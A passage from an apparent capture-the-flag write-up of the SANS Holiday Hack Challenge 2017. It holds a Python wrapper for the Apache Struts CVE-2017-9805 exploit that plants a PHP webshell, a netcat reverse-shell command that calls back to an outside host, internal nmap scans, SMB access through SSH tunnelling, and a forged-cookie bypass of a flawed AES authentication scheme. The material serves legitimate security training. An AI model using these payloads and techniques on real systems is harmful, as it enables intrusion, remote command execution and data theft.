WEBSHELL_PAYLOAD = b'<?php system($_GET[cmd]); ?>\n' WEBSHELL_PAYLOAD_ENCODED = base64.encodestring(WEBSHELL_PAYLOAD).strip() ## Emulate this command: ## /cve-2017-9805.py -c 'echo PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo= | ## base64 -d > /var/www/html/4beadb1e-5ddb-4636-98a4-c2dac0f79ab0.php' -u https://dev.northpolechristmastown.com/orders.xhtml EXPLOIT_COMMAND = "echo {} | base64 -d > /var/www/html/{}".format(WEBSHELL_PAYLOAD_ENCODED, WEBSHELL) def run_command(command): url = BASE_URL + WEBSHELL request = requests.get(url, params={"cmd":command}) if request.status_code == 404: return None return request.text #Main function def setup(): # See if we can run the id command, and if so, we are good to go... out = run_command('id') if out and 'uid=' in out: return True sys.stderr.write("The webshell did not exist, re-exploiting.....\n") struts_exploit(VULNERABLE_ENDPOINT, EXPLOIT_COMMAND) out = run_command('id') if out and 'uid=' in out: return True sys.stderr.write("The struts exploit/webshell failed :-(\n") sys.exit(1) def interactive(): setup() while True: try: cmd = raw_input("www-data@l2s:$ ")
except EOFError:
print()
return
print(run_command(cmd))

def one_shot(command):
setup()
print(run_command(command))

if __name__ == "__main__":
if sys.argv[1:]:
one_shot(' '.join(sys.argv[1:]))
else:
interactive()


First we need to either rename cve-2017-9805.py to cve_2017_9805.py or create a symlink so it can be properly imported into our script. Then we can easily execute commands on l2s.

holiday@hack:~$./l2s.py id The webshell did not exist, re-exploiting..... [+] Encoding Command [+] Building XML object [+] Placing command in XML object [+] Converting Back to String [+] Making Post Request with our payload [+] Payload executed uid=33(www-data) gid=33(www-data) groups=33(www-data) holiday@hack:~$ ./l2s.py uname -a
Linux hhc17-apache-struts1 4.9.0-5-amd64 #1 SMP Debian 4.9.65-3+deb9u2 (2018-01-04) x86_64 GNU/Linux

holiday@hack:~$./l2s.py www-data@l2s:$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@l2s:$uname -a Linux hhc17-apache-struts1 4.9.0-5-amd64 #1 SMP Debian 4.9.65-3+deb9u2 (2018-01-04) x86_64 GNU/Linux  • Search even faster with ripgrep ripgrep is a super fast grep replacement written in rust. It does a better job at filtering binary files, so we can run this command that finishes in about a second. The following steps create a folder for ripgrep and executes the search. www-data@l2s:$ mkdir /tmp/.rg
www-data@l2s:$wget -q -O - https://github.com/BurntSushi/ripgrep/releases/download/0.7.1/ripgrep-0.7.1-x86_64-unknown-linux-musl.tar.gz | tar xzf - -C /tmp/.rg/ www-data@l2s:$ find / -type f -xdev -user alabaster_snowball 2>/dev/null |
xargs /tmp/.rg/ripgrep-0.7.1-x86_64-unknown-linux-musl/rg alabaster -A 1
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class: final String username = "alabaster_snowball";

• Get a full shell

Getting a shell is actually fairly easy. Using the struts exploit we can redirect a bash shell through netcat back to our machine like this:

./cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c "nc -c /bin/bash 1.2.3.4 8080"

holiday@hack:~$nc -l -p 8080 -vvv Listening on [0.0.0.0] (family 0, port 8080) Connection from [35.227.53.70] port 8080 [tcp/http-alt] accepted (family 2, sport 48164) id uid=1003(alabaster_snowball) gid=1004(alabaster_snowball) groups=1004(alabaster_snowball) pwd /  #### Common Pitfalls A common pitfall is the blind injection aspect of the Apache Struts exploit. There were a couple of ways around this: • Using the /dev/tcp trick like we did, • Redirect the output to /var/www/html/$filename, and then accessing that via the web interface,
• Piping the output to netcat.

Finding the password was also tricky. Luckily, there weren't many files on this system, so we could just grep everything, but another option would've been to look for files that had been modified around the time the system was installed.

Trying to compromise the l2s app itself was a dead end. Once we have command execution we can see that the process.php script is simply:

<?php
if ($_POST["first_name"] &&$_POST["age"] && $_POST["state"] &&$_POST["city"] && $_POST["toy"] &&$_POST["message"] && $_POST["sex"]) { echo "Letter has been sent to Santa!"; } else { echo "Error missing parameters"; } ?>  #### About the Challenge Initially the host had a couple of noticeable holes. • Apache server running as alabaster_snowball (eventually changed to www-data user) • Easy bypass of rbash by adding the '-t' flag and executing bash on SSH login (eventually rbash was forced through /etc/ssh/sshd_config) The server itself housed two virtual web hosts, the Letters to Santa application which ran PHP in nginx and the Development site which was run by Apache Struts on a high port being redirected by nginx. #### Moving Foward Now that we have a script to automate access to l2s let's run nmap to scan the internal network. holiday@hack:~$ ./l2s.py "nmap -sC 10.142.0.*"

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-09 20:51 UTC
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Host is up (0.00018s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open  http
|_http-title: Did not follow redirect to https://hhc17-l2s-proxy.c.holidayhack2017.internal/
443/tcp  open  https
|_http-title: Toys List
| ssl-cert: Subject: commonName=dev.northpolechristmastown.com
| Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com
| Not valid before: 2017-11-29T12:54:54
|_Not valid after:  2018-02-27T12:54:54
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
2222/tcp open  EtherNetIP-1

Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Host is up (0.00017s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp open  http
|_http-title: Toys List

Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Host is up (0.00018s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   2048 a2:c4:67:fe:a2:d9:df:47:02:55:35:1a:f4:1b:b6:02 (RSA)
|_  256 9e:d4:01:d1:71:be:95:90:68:6e:ee:87:28:42:49:8e (ECDSA)
25/tcp   open  smtp
|_smtp-commands: mail.northpolechristmastown.com, PIPELINING, SIZE 10240000, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
80/tcp   open  http
| http-robots.txt: 1 disallowed entry
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
143/tcp  open  imap
2525/tcp open  ms-v-worlds
3000/tcp open  ppp

Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Host is up (0.00014s latency).
Not shown: 996 closed ports
PORT     STATE    SERVICE
22/tcp   open     ssh
| ssh-hostkey:
|   2048 73:de:22:15:7b:53:13:85:a7:a5:8f:10:3a:5d:3b:3f (RSA)
|_  256 f5:d7:f3:5d:dc:7c:73:10:cc:f7:a4:c7:f0:d9:61:0c (ECDSA)
80/tcp   open     http
| http-robots.txt: 1 disallowed entry
|_/dev
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://edb.northpolechristmastown.com/index.html
389/tcp  filtered ldap
8080/tcp open     http-proxy
| http-robots.txt: 1 disallowed entry
|_/dev
|_http-title: Did not follow redirect to http://edb.northpolechristmastown.com/index.html

Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Host is up (0.00021s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
| ssl-cert: Subject: commonName=hhc17-smb-server
| Not valid before: 2017-11-06T13:46:55
|_Not valid after:  2018-05-08T13:46:55
|_ssl-date: 2018-01-09T20:51:47+00:00; 0s from scanner time.

Host script results:
|_nbstat: NetBIOS name: HHC17-SMB-SERVE, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:08 (unknown)
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Host is up (0.00021s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open  http
|_http-title: Toys List
4444/tcp open  krb524

Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Host is up (0.00078s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Index - North Pole Engineering Presents: EaaS!
3389/tcp open  ms-wbt-server
| ssl-cert: Subject: commonName=hhc17-elf-manufacturing
| Not valid before: 2017-11-23T20:53:55
|_Not valid after:  2018-05-25T20:53:55
|_ssl-date: 2018-01-09T20:51:47+00:00; 0s from scanner time.

Post-scan script results:
| clock-skew:
|   0s:
|     10.142.0.13 (eaas.northpolechristmastown.com)
|_    10.142.0.8 (hhc17-emi.c.holidayhack2017.internal)
| ssh-hostkey: Possible duplicate hosts
| Key 256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA) used by:
|   10.142.0.2
|   10.142.0.3
|   10.142.0.11
| Key 2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA) used by:
|   10.142.0.2
|   10.142.0.3
|_  10.142.0.11
Nmap done: 256 IP addresses (7 hosts up) scanned in 14.86 seconds


### SMB: Windows Fileshare

#### Question

The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?

/For hints, please see Holly Evergreen in the Cryokinetic Magic Level.

#### Background Information

Holly's hints are:

Nmap has default host discovery checks that may not discover all hosts. To customize which ports Nmap looks for during host discovery, use -PS with a port number, such as -PS123 to check TCP port 123 to determine if a host is up.

Alabaster likes to keep life simple. He chooses a strong password, and sticks with it.

The Letters to Santa server is limited in what commands are available. Fortunately, SSH has enough flexibility to make access through the Letters server a fruitcake-walk.

Have you used port forwarding with SSH before? It's pretty amazing! [Here is a quick guide](https://help.ubuntu.com/community/SSH/OpenSSH/PortForwarding).

Windows users can use SSH port forwarding too, using PuTTY! [Here is a quick guide for Windows users](https://blog.devolutions.net/2017/04/how-to-configure-an-ssh-tunnel-on-putty.html).

Sometimes it's better to use a Linux system as the SSH port forwarder, and interact with a Linux system from a Windows box. For example, running ssh -L :445:SMBSERVERIP:445 username@sshserver will allow you to access your Linux server's IP, which will forward directly to the SMB server over SSH.

Linux systems can also interact with a Windows server using the smbclient utility: smbclient -L smbserverorforwarder -U username.

The scope statement calls out systems on 10.142.0.0/24 as being in scope:

SCOPE: For this entire challenge, you are authorized to attack ONLY the Letters to Santa system at l2s.northpolechristmastown.com AND other systems on the internal 10.142.0.0/24 network that you access through the Letters to Santa system.

The question mentions pivoting through the Letters to Santa server (l2s). A commonly used tool for network discovery is nmap, and we can check that it's available on l2s:

alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.VmaV55tqZi5rteO9fXHB3kjM$nmap -V Nmap version 7.40 ( https://nmap.org ) Platform: x86_64-pc-linux-gnu Compiled with: liblua-5.3.3 openssl-1.1.0c libpcre-8.39 libpcap-1.8.1 nmap-libdnet-1.12 ipv6 Compiled without: Available nsock engines: epoll poll select  There's a great nmap overview available here: https://nmap.org/book/nmap-overview-and-demos.html We also know that the SMB suite of protocols uses a lot of ports, but 445 is one of the main ones. This post on the SANS Pen Testing Blog seems relevant, but masscan isn't installed on l2s: #### Goal Three separate things: 1. Identify the SMB server, 2. Enumerate the shares on it, 3. Name the file server share. #### Approach Let's follow the nmap overview. Being the careful type, Felix first starts out with what is known as an Nmap list scan (-sL option). This feature simply enumerates every IP address in the given target netblock(s) and does a reverse-DNS lookup (unless -n was specified) on each. One reason to do this first is stealth. The names of the hosts can hint at potential vulnerabilities and allow for a better understanding of the target network, all without raising alarm bells. alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$ nmap -sL 10.142.0.0/24

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-08 02:40 UTC
Nmap scan report for 10.142.0.0
Nmap scan report for 10.142.0.1
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Nmap scan report for 10.142.0.4
Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Nmap scan report for 10.142.0.9
Nmap scan report for 10.142.0.10
Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Nmap scan report for 10.142.0.12
Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Nmap scan report for 10.142.0.14
Nmap scan report for 10.142.0.15
...


Parsing the results a bit:

Hostname IP
hhc17-l2s-proxy 10.142.0.2
hhc17-apache-struts1 10.142.0.3
mail 10.142.0.5
edb 10.142.0.6
hhc17-smb-server 10.142.0.7
hhc17-emi 10.142.0.8
hhc17-apache-struts2 10.142.0.11
eaas 10.142.0.13

One of the systems is named hhc17-smb-server.

Continuing with the overview, we can now narrow in on a single IP. This is the same technique suggested in one of the hints:

alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$nmap -p- -PS445 -A -T4 -oA avatartcpscan-%D 10.142.0.7 Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-08 02:51 UTC Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7) Host is up (0.00040s latency). Not shown: 65527 filtered ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3389/tcp open ssl/ms-wbt-server? | ssl-cert: Subject: commonName=hhc17-emi | Not valid before: 2017-11-06T13:51:23 |_Not valid after: 2018-05-08T13:51:23 |_ssl-date: 2018-01-08T02:54:30+00:00; 0s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found | ssl-cert: Subject: commonName=hhc17-emi | Subject Alternative Name: DNS:hhc17-emi | Not valid before: 2017-11-07T13:52:11 |_Not valid after: 2018-11-07T13:52:11 |_ssl-date: 2018-01-08T02:54:30+00:00; 0s from scanner time. 49666/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_nbstat: NetBIOS name: HHC17-EMI, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:07 (unknown) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smbv2-enabled: Server supports SMBv2 protocol Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 205.99 seconds  So it does indeed seem to be an SMB server. A command-line tool to access it is smbclient: alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$ smbclient -L 10.142.0.7 -U alabaster_snowball


It's not available on l2s. Another option is forwarding a port through SSH:

user@vps $ssh alabaster_snowball@l2s.northpolechristmastown.com -O forward -L 4445:10.142.0.7:445  Now we can access port 445 on hhc17-smb-server via port 4445 on localhost: user@vps$ smbclient -L localhost -p 4445 -U alabaster_snowball
WARNING: The "syslog" option is deprecated
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]

Sharename       Type      Comment
---------       ----      -------
ADMIN$Disk Remote Admin C$              Disk      Default share
FileStor        Disk
IPC$IPC Remote IPC Connection to localhost failed (Error NT_STATUS_CONNECTION_REFUSED) NetBIOS over TCP disabled -- no workgroup available  FileStor looks interesting. Let's see what's on it: user@vps$ smbclient //localhost/FileStor -p 4445 -U alabaster_snowball
WARNING: The "syslog" option is deprecated
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]
smb: \> ls
.                                   D        0  Wed Dec  6 16:51:46 2017
..                                  D        0  Wed Dec  6 16:51:46 2017
BOLO - Munchkin Mole Report.docx      A   255520  Wed Dec  6 16:44:17 2017
GreatBookPage3.pdf                  A  1275756  Mon Dec  4 14:21:44 2017
MEMO - Calculator Access for Wunorse.docx      A   111852  Mon Nov 27 14:01:36 2017
MEMO - Password Policy Reminder.docx      A   133295  Wed Dec  6 16:47:28 2017
Naughty and Nice List.csv           A    10245  Thu Nov 30 14:42:00 2017
Naughty and Nice List.docx          A    60344  Wed Dec  6 16:51:25 2017

13106687 blocks of size 4096. 9624115 blocks available
smb: \> mget *
getting file \BOLO - Munchkin Mole Report.docx of size 255520 as BOLO - Munchkin Mole Report.docx (1094.4 KiloBytes/sec) (average 1094.4 KiloBytes/sec)
getting file \GreatBookPage3.pdf of size 1275756 as GreatBookPage3.pdf (2818.7 KiloBytes/sec) (average 2231.9 KiloBytes/sec)
getting file \MEMO - Calculator Access for Wunorse.docx of size 111852 as MEMO - Calculator Access for Wunorse.docx (666.0 KiloBytes/sec) (average 1924.0 KiloBytes/sec)
getting file \MEMO - Password Policy Reminder.docx of size 133295 as MEMO - Password Policy Reminder.docx (834.4 KiloBytes/sec) (average 1752.3 KiloBytes/sec)
getting file \Naughty and Nice List.csv of size 10245 as Naughty and Nice List.csv (99.1 KiloBytes/sec) (average 1599.3 KiloBytes/sec)
getting file \Naughty and Nice List.docx of size 60344 as Naughty and Nice List.docx (390.3 KiloBytes/sec) (average 1452.3 KiloBytes/sec)


#### Solution

We used nmap to list our targets, and found hhc17-smb-server. We used SSH forwarding to connect to it with smbclient. We used the credentials we found for question 2 to connect.

#### Common Pitfalls

It looks like hhc17-smb-server blocks pings. By default, nmap uses pings to determine which hosts are up, and which it should scan further. We used the "list scan," which just did reverse DNS queries, and were able to identify the system quickly. If, however, someone just tried to run nmap -p 445 10.142.0.0/24, they wouldn't find the system.

It also looked like two systems were mixed up in NetBIOS and RDP SSL cert names:

Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
...
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hhc17-emi
...
Host script results:
| nbstat: NetBIOS name: HHC17-EMI, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:07 (unknown)
...
Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
...
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hhc17-smb-server
...
Host script results:
| nbstat: NetBIOS name: HHC17-SMB-SERVE, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:08 (unknown)


### EWA: AES Bypass

#### Question

Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com/. What can you learn from The Great Book page found in an e-mail on that server?

Pepper Minstix provides some hints for this challenge on the There's Snow Place Like Home Level.

#### Background Information

Pepper Minstix gives us the following hints:

I'm so excited for the new email system that Alabaster Snowball set up for us. He spent a lot of time working on it. Should make it very easy for us to share cookie recipes. I just hope that he cleared up all his dev files. I know he was working on keeping the dev files from search engine indexers.

The new email system's authentication should be impenetrable. Alabaster was telling me that he came up with his own encryption scheme using AES256, so you know it's secure.

AES256? Honestly, I don't know much about it, but Alabaster explained the basic idea and it sounded easy. During decryption, the first 16 bytes are removed and used as the initialization vector or "IV." Then the IV + the secret key are used with AES256 to decrypt the remaining bytes of the encrypted string.

Hmmm. That's a good question, I'm not sure what would happen if the encrypted string was only 16 bytes long.

Every year when Santa gets back from delivering presents to the good girls and boys, he tells us stories about all the cookies he receives. I love everything about cookies! Cooking them, eating them, editing them, decorating them, you name it!

#### Goal

The question tells us that the page we're looking for is in an e-mail. So, we need to figure out some way to login to the mail system and find the crucial message.

#### Approach

First off, let's pull up the website in our web browser. SSH can run a SOCKS proxy for us, which we can use to tunnel our traffic through l2s. We use the access we got in Question 2 to SSH in:

ssh -D 31080 alabaster_snowball@l2s.northpolechristmastown.com


I like to use Firefox for this, since, unlike Chrome, we can configure proxy settings different from the system-wide settings:

Now we can just navigate to http://mail.northpolechristmastown.com/:

Of course! We need an e-mail address:

Luckily, the error message tells us how we need to format the e-mail address:

Curses! Looks like Alabaster is at least smart enough to not reuse credentials. At least he's following the password policy:

Let's review some of the hints that Pepper gave us:

I just hope that he cleared up all his dev files. I know he was working on keeping the dev files from search engine indexers.

We scanned this EWA system with nmap before, and one of the nmap scripts did find a reference in robots.txt:

80/tcp   open  http
| http-robots.txt: 1 disallowed entry
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).


Given how much Pepper harps on cookies, perhaps this file is worth investigating. When we view it, we see:

//FOUND THESE FOR creating and validating cookies. Going to use this in node js
var key = 'need to put any length key in here';
//randomly generates a string of 5 characters
var plaintext = rando_string(5)
//makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters
//Removes equals from output so as not to mess up cookie. decrypt function can account for this without erroring out.
var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,'');
//Setting the values of the cookie.
var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext,  "ciphertext":ciphertext}), { maxAge: 86400000, httpOnly: true, encode: String }]
};
try{
var key = 'need to put any length key in here';
//Retrieving the cookie from the request headers and parsing it as JSON
//Retrieving the cipher text
//retrieving the plaintext
var plaintext = aes256.decrypt(key, ciphertext);
//If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
} else {
return callback(false, '');
}
} catch (e) {
console.log(e);
return callback(false, '');
}
};


There's a lot to parse here, but given the number of times AES and IVs are mentioned in the hints, this looks like we're on the right path.

Our next hint is:

The new email system's authentication should be impenetrable. Alabaster was telling me that he came up with his own encryption scheme using AES256, so you know it's secure.

Uh-oh… Coming up with your own cryptography scheme should send up all the red flags.

Happy families are all alike; every unhappy family is unhappy in its own way. – Leo Tolstoy

Empty plaintext encrypted without using HMAC are all alike; Rolling your own crypto makes all cryptographers unhappy. – Justin Azoff

At this point, we suspect that there's some kind of vulnerability in the cryptography being used. Reading on:

AES256? Honestly, I don't know much about it, but Alabaster explained the basic idea and it sounded easy. During decryption, the first 16 bytes are removed and used as the initialization vector or "IV." Then the IV + the secret key are used with AES256 to decrypt the remaining bytes of the encrypted string.

Let's pause for a moment to review what we know so far. The e-mail application uses cookies for authentication.

var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext,  "ciphertext":ciphertext}),
{ maxAge: 86400000, httpOnly: true, encode: String }]


As we can see from the line above, the cookie contains a username, some plaintext, and some ciphertext. The cookie_checker function takes the encrypted ciphertext, and attempts to decrypt it with a secret key that only the application has. If the result matches the plaintext from the cookie, the cookie is authentic:

var plaintext = aes256.decrypt(key, ciphertext);
//If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
} else {
return callback(false, '');
}


The code, as well as Pepper's hints, tell us something about the structure of the ciphertext:

//makes the string into cipher text .... in base64.
// When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters


Finally, Pepper gives us this tantalizing hint:

Hmmm. That's a good question, I'm not sure what would happen if the encrypted string was only 16 bytes long.

By reading the code closely we can see that when the application creates a cookie, the plaintext is 5 random characters. However, nothing in the verification logic requires this. The only check is:

aes256.decrypt(key, ciphertext) === thecookie.plaintext


Let's see what a valid cookie looks like:

$http --proxy=http:socks5://@localhost:31080 'http://mail.northpolechristmastown.com/' HTTP/1.1 200 OK ... Server: nginx/1.10.3 (Ubuntu) Set-Cookie: EWA={"name":"GUEST","plaintext":"","ciphertext":""}; Max-Age=86400; Path=/; Expires=Wed, 10 Jan 2018 23:37:29 GMT; HttpOnly ...  Let's try what Pepper Minstix suggests: setting our ciphertext to only be 16 characters long. We know that this is base64 encoded, so we'll run: $ echo -n "Security at NCSA" | base64
U2VjdXJpdHkgYXQgTkNTQQ==


We're using the -n flag of echo to not have a newline at the end, which would give us a 17 character length cookie.

http --proxy=http:socks5://@localhost:31080 'http://mail.northpolechristmastown.com/' 'Cookie:EWA={"name":"alabaster.snowball@northpolechristmastown.com","ciphertext":"U2VjdXJpdHkgYXQgTkNTQQ==","plaintext":""}' HTTP/1.1 200 OK ... X-Powered-By: Express <script>window.location.href='/account.html'</script>  That looks promising! Let's move from the command line back to Firefox. One easy way to edit cookies in Firefox is to go to Tools \=> Web Developer \=> Storage Inspector. We should see an EWA cookie in there already, and we can simply double-click the value field and paste in our forged cookie: {"name":"alabaster.snowball@northpolechristmastown.com","ciphertext":"U2VjdXJpdHkgYXQgTkNTQQ==","plaintext":""}  Now we just reload the page, and we're in! At this point, we can start digging through Alabaster's e-mail. Soon, we find this email leading us to http://mail.northpolechristmastown.com/attachments/GreatBookPage4_893jt91md2.pdf: • An Alternative Solution: Black Box Cracking Given some of the discussion in the chat, this was one of the hardest questions. This section goes deeper into the cookie creation and validation code, and it offers an alternative solution. Finding cookie.txt from the robots.txt file made this question much easier, but this version lays out the approach to solve this question without that file. Independently, one of our team members used the previous solution, and one used this solution. The Javascript code used is a variation of a challenge response algorithm, but it is flawed in that the client is providing both the challenge and the response. It is also flawed in that it does not use MAC https://en.wikipedia.org/wiki/Authenticated_encryption#MAC-then-Encrypt_(MtE) meaning that the encrypted contents themselves are never verified. Since we can control both the ciphertext and the expected plaintext, we can just set the challenge to the empty string "" and the response then just needs to be ANY message that decrypts to "". Since the message is empty, the key is irrelevant; we just need to work out how to properly generate a ciphertext that will decrypt to nothing. A completely empty ciphertext throws an error: > var aes256 = require('aes256'); > aes256.decrypt('key does not matter', '') TypeError: Provided "encrypted" must be a non-empty string at Object.decrypt (/Users/user/node_modules/aes256/index.js:68:13)  A larger ciphertext works, but gives us a random string, which is not what we want. but we can see that a fairly long cipher text only gives us a few bytes of plaintext… > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') 'F..%=X..'  The difference in the length of the two strings is 24: > x='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' > x.length - aes256.decrypt('key does not matter',x).length 24  From the hints, we learn that some of the bytes are used for the IV. The AES library won't let us encrypt an empty string, but we can encrypt a single char: > aes256.encrypt('key does not matter', '') TypeError: Provided "plaintext" must be a non-empty string at Object.encrypt (/Users/user/node_modules/aes256/index.js:39:13) > aes256.encrypt('key does not matter', 'x') 'L7rwNMwISl2chavT6lILlNM=' > aes256.encrypt('key does not matter', 'x').length 24  This gives a ciphertext of length 24 with one byte of = for padding. This means that 22 bytes are used for the IV and one byte is used to encrypt the 'x' itself. So, at this point it is clear that something interesting happens around 22-24 chars. Trying different lengths approaching a length of 22 continues to throw an error for a while… > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaa') TypeError: Provided "encrypted" must be a non-empty string at Object.decrypt (/Users/user/node_modules/aes256/index.js:68:13)  Until the error changes: > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaa') Error: Invalid IV length at new Decipheriv (internal/crypto/cipher.js:186:16) at Object.createDecipheriv (crypto.js:106:10) at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27) > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaa') Error: Invalid IV length at new Decipheriv (internal/crypto/cipher.js:186:16) at Object.createDecipheriv (crypto.js:106:10) at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27) > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaa') Error: Invalid IV length at new Decipheriv (internal/crypto/cipher.js:186:16) at Object.createDecipheriv (crypto.js:106:10) at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27) > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaa') Error: Invalid IV length at new Decipheriv (internal/crypto/cipher.js:186:16) at Object.createDecipheriv (crypto.js:106:10) at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27) > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaaa') Error: Invalid IV length at new Decipheriv (internal/crypto/cipher.js:186:16) at Object.createDecipheriv (crypto.js:106:10) at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27) > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaaaa') '' > 'aaaaaaaaaaaaaaaaaaaaaa'.length 22 > aes256.decrypt('key really does not matter', 'aaaaaaaaaaaaaaaaaaaaaa') ''  Success! A string of any 22 chars will decrypt to the empty string. An alternative approach would be to edit the AES library and comment out this block: if (typeof plaintext !== 'string' || !plaintext) { throw new TypeError('Provided "plaintext" must be a non-empty string'); }  